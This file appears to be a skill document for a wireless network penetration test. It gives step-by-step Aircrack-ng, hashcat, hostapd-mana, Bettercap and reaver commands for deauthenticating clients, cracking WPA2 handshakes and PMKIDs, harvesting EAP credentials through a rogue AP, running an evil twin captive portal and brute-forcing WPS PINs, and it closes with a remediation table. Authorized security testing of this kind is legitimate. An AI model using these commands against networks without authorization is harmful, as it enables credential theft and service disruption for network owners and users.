Performing Wireless Network Penetration Test

---
name: performing-wireless-network-penetration-test
description: Execute a wireless network penetration test to assess WiFi security by capturing handshakes, cracking WPA2/WPA3
  keys, detecting rogue access points, and testing wireless segmentation using Aircrack-ng and related tools.
domain: cybersecurity
subdomain: penetration-testing
tags:
- wireless-pentest
- WiFi
- Aircrack-ng
- WPA2
- WPA3
- rogue-AP
- evil-twin
- 802.11
- Kismet
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- ID.RA-01
- ID.RA-06
- GV.OV-02
- DE.AE-07
---

# Performing Wireless Network Penetration Test

## Overview

Wireless penetration testing evaluates the security of an organization's WiFi infrastructure including encryption strength, authentication mechanisms, rogue access point detection, client isolation, and network segmentation. Testing covers 802.11a/b/g/n/ac/ax protocols, WPA2-PSK, WPA2-Enterprise, WPA3-SAE, captive portals, and Bluetooth/BLE where in scope.


## When to Use

- When conducting security assessments that involve performing wireless network penetration test
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing

## Prerequisites

- Written authorization specifying wireless scope (SSIDs, BSSIDs, physical locations)
- Compatible wireless adapter supporting monitor mode and packet injection (e.g., Alfa AWUS036ACH, TP-Link TL-WN722N v1)
- Kali Linux with Aircrack-ng suite, Bettercap, Wifite, Kismet
- Physical proximity to target wireless networks
- GPS receiver for mapping (optional)

## Phase 1 — Wireless Reconnaissance

### Enable Monitor Mode

```bash
# Check wireless interfaces
iwconfig
airmon-ng

# Kill interfering processes
airmon-ng check kill

# Enable monitor mode
airmon-ng start wlan0
# Interface becomes wlan0mon

# Verify monitor mode
iwconfig wlan0mon
```

### Passive Scanning

```bash
# Discover all networks in range
airodump-ng wlan0mon -w wireless_scan --output-format csv,pcap

# Filter by specific channel
airodump-ng wlan0mon -c 6 -w channel6_scan

# Scan 5GHz band
airodump-ng wlan0mon --band a -w 5ghz_scan

# Scan all bands
airodump-ng wlan0mon --band abg -w full_scan

# Kismet passive scanning (advanced)
kismet -c wlan0mon
# Access web UI at http://localhost:2501
```

### Network Inventory

| SSID | BSSID | Channel | Encryption | Clients | Signal |
|------|-------|---------|-----------|---------|--------|
| CorpWiFi | AA:BB:CC:DD:EE:01 | 6 | WPA2-Enterprise | 45 | -55dBm |
| CorpGuest | AA:BB:CC:DD:EE:02 | 11 | WPA2-PSK | 12 | -60dBm |
| PrinterNet | AA:BB:CC:DD:EE:03 | 1 | WEP | 3 | -70dBm |
| HiddenSSID | AA:BB:CC:DD:EE:04 | 36 | WPA2-PSK | 8 | -65dBm |

## Phase 2 — WPA2-PSK Attack

### Capture 4-Way Handshake

```bash
# Target specific network
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:02 -w corpguest wlan0mon

# Deauthenticate a client to force reconnection (handshake capture)
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:02 -c FF:FF:FF:FF:FF:FF wlan0mon

# Verify handshake captured
aircrack-ng corpguest-01.cap
# Look for "1 handshake" in output
```

### Crack WPA2 Key

```bash
# Dictionary attack with Aircrack-ng
aircrack-ng -w /usr/share/wordlists/rockyou.txt corpguest-01.cap

# GPU-accelerated cracking with Hashcat
# Convert cap to hccapx format
hcxpcapngtool -o hash.hc22000 corpguest-01.cap

# Hashcat mode 22000 (WPA-PBKDF2-PMKID+EAPOL)
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# PMKID attack (no client needed)
hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_dump.pcapng \
  --filterlist_ap=AA:BB:CC:DD:EE:02 --filtermode=2
hcxpcapngtool -o pmkid_hash.hc22000 pmkid_dump.pcapng
hashcat -m 22000 pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt
```

## Phase 3 — WPA2-Enterprise Attack

```bash
# Set up rogue AP with EAP credential harvesting
# Using hostapd-mana
cat > hostapd-mana.conf << 'EOF'
interface=wlan0mon
ssid=CorpWiFi
hw_mode=g
channel=6
auth_algs=3
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP TKIP
rsn_pairwise=CCMP
ieee8021x=1
eap_server=1
eap_user_file=hostapd.eap_user
mana_wpe=1
mana_credout=creds.txt
EOF

# EAP user file
cat > hostapd.eap_user << 'EOF'
*   PEAP,TTLS,TLS,FAST
"t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAPV2,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAP "t" [2]
EOF

hostapd-mana hostapd-mana.conf

# Captured MSCHAP challenges can be cracked
# Crack NetNTLMv1 from EAP-MSCHAP
hashcat -m 5500 creds.txt /usr/share/wordlists/rockyou.txt
```

## Phase 4 — Evil Twin Attack

```bash
# Create evil twin with Bettercap
sudo bettercap -iface wlan0mon

# Within Bettercap:
wifi.recon on
wifi.ap

# Or manual evil twin with hostapd + dnsmasq
cat > evil_twin.conf << 'EOF'
interface=wlan1
ssid=CorpGuest
hw_mode=g
channel=6
driver=nl80211
auth_algs=1
wpa=0
EOF

# Start captive portal
hostapd evil_twin.conf &
dnsmasq --no-daemon --interface=wlan1 --dhcp-range=192.168.1.10,192.168.1.100,12h \
  --address=/#/192.168.1.1

# Deauth clients from real AP to force connection to evil twin
aireplay-ng -0 0 -a AA:BB:CC:DD:EE:02 wlan0mon
```

## Phase 5 — Additional Tests

### Rogue AP Detection

```bash
# Compare authorized AP list against discovered APs
# Authorized BSSIDs from client documentation
# Flag any unknown BSSIDs broadcasting corporate SSIDs

# Check for misconfigured APs
# Personal hotspots bridging to corporate network
# IoT devices with default WiFi settings
```

### Client Isolation Testing

```bash
# After connecting to guest network:
# Scan for other clients
nmap -sn 192.168.10.0/24

# Attempt to reach corporate resources
nmap -sT -p 80,443,445,3389 10.0.0.0/24

# Test VLAN hopping
# If guest network is not properly segmented from corporate
```

### WPS Attack

```bash
# Check for WPS-enabled APs
wash -i wlan0mon

# WPS PIN bruteforce (if WPS enabled and not rate-limited)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -vv

# Pixie-Dust attack (offline WPS PIN recovery)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -K 1 -vv
```

## Findings Template

| Finding | Severity | CVSS | Remediation |
|---------|----------|------|-------------|
| WPA2-PSK with weak passphrase | High | 8.1 | Use 20+ char passphrase or migrate to WPA2-Enterprise |
| WEP encryption on printer network | Critical | 9.1 | Upgrade to WPA2/WPA3, segment printer VLAN |
| WPS enabled on guest AP | Medium | 5.3 | Disable WPS on all access points |
| No client isolation on guest | High | 7.5 | Enable AP isolation and VLAN segmentation |
| Corporate SSID broadcasts on rogue AP | High | 8.1 | Deploy WIDS/WIPS, implement 802.1X with cert validation |
| EAP-MSCHAP without cert pinning | High | 7.5 | Enforce server certificate validation on all clients |

## References

- Aircrack-ng Documentation: https://www.aircrack-ng.org/doku.php
- CISA Aircrack-ng: https://www.cisa.gov/resources-tools/services/aircrack-ng
- WiFi Alliance WPA3 Specification: https://www.wi-fi.org/discover-wi-fi/security
- NIST SP 800-153: Guidelines for Securing WLANs
- Hashcat WPA modes: https://hashcat.net/wiki/doku.php?id=example_hashes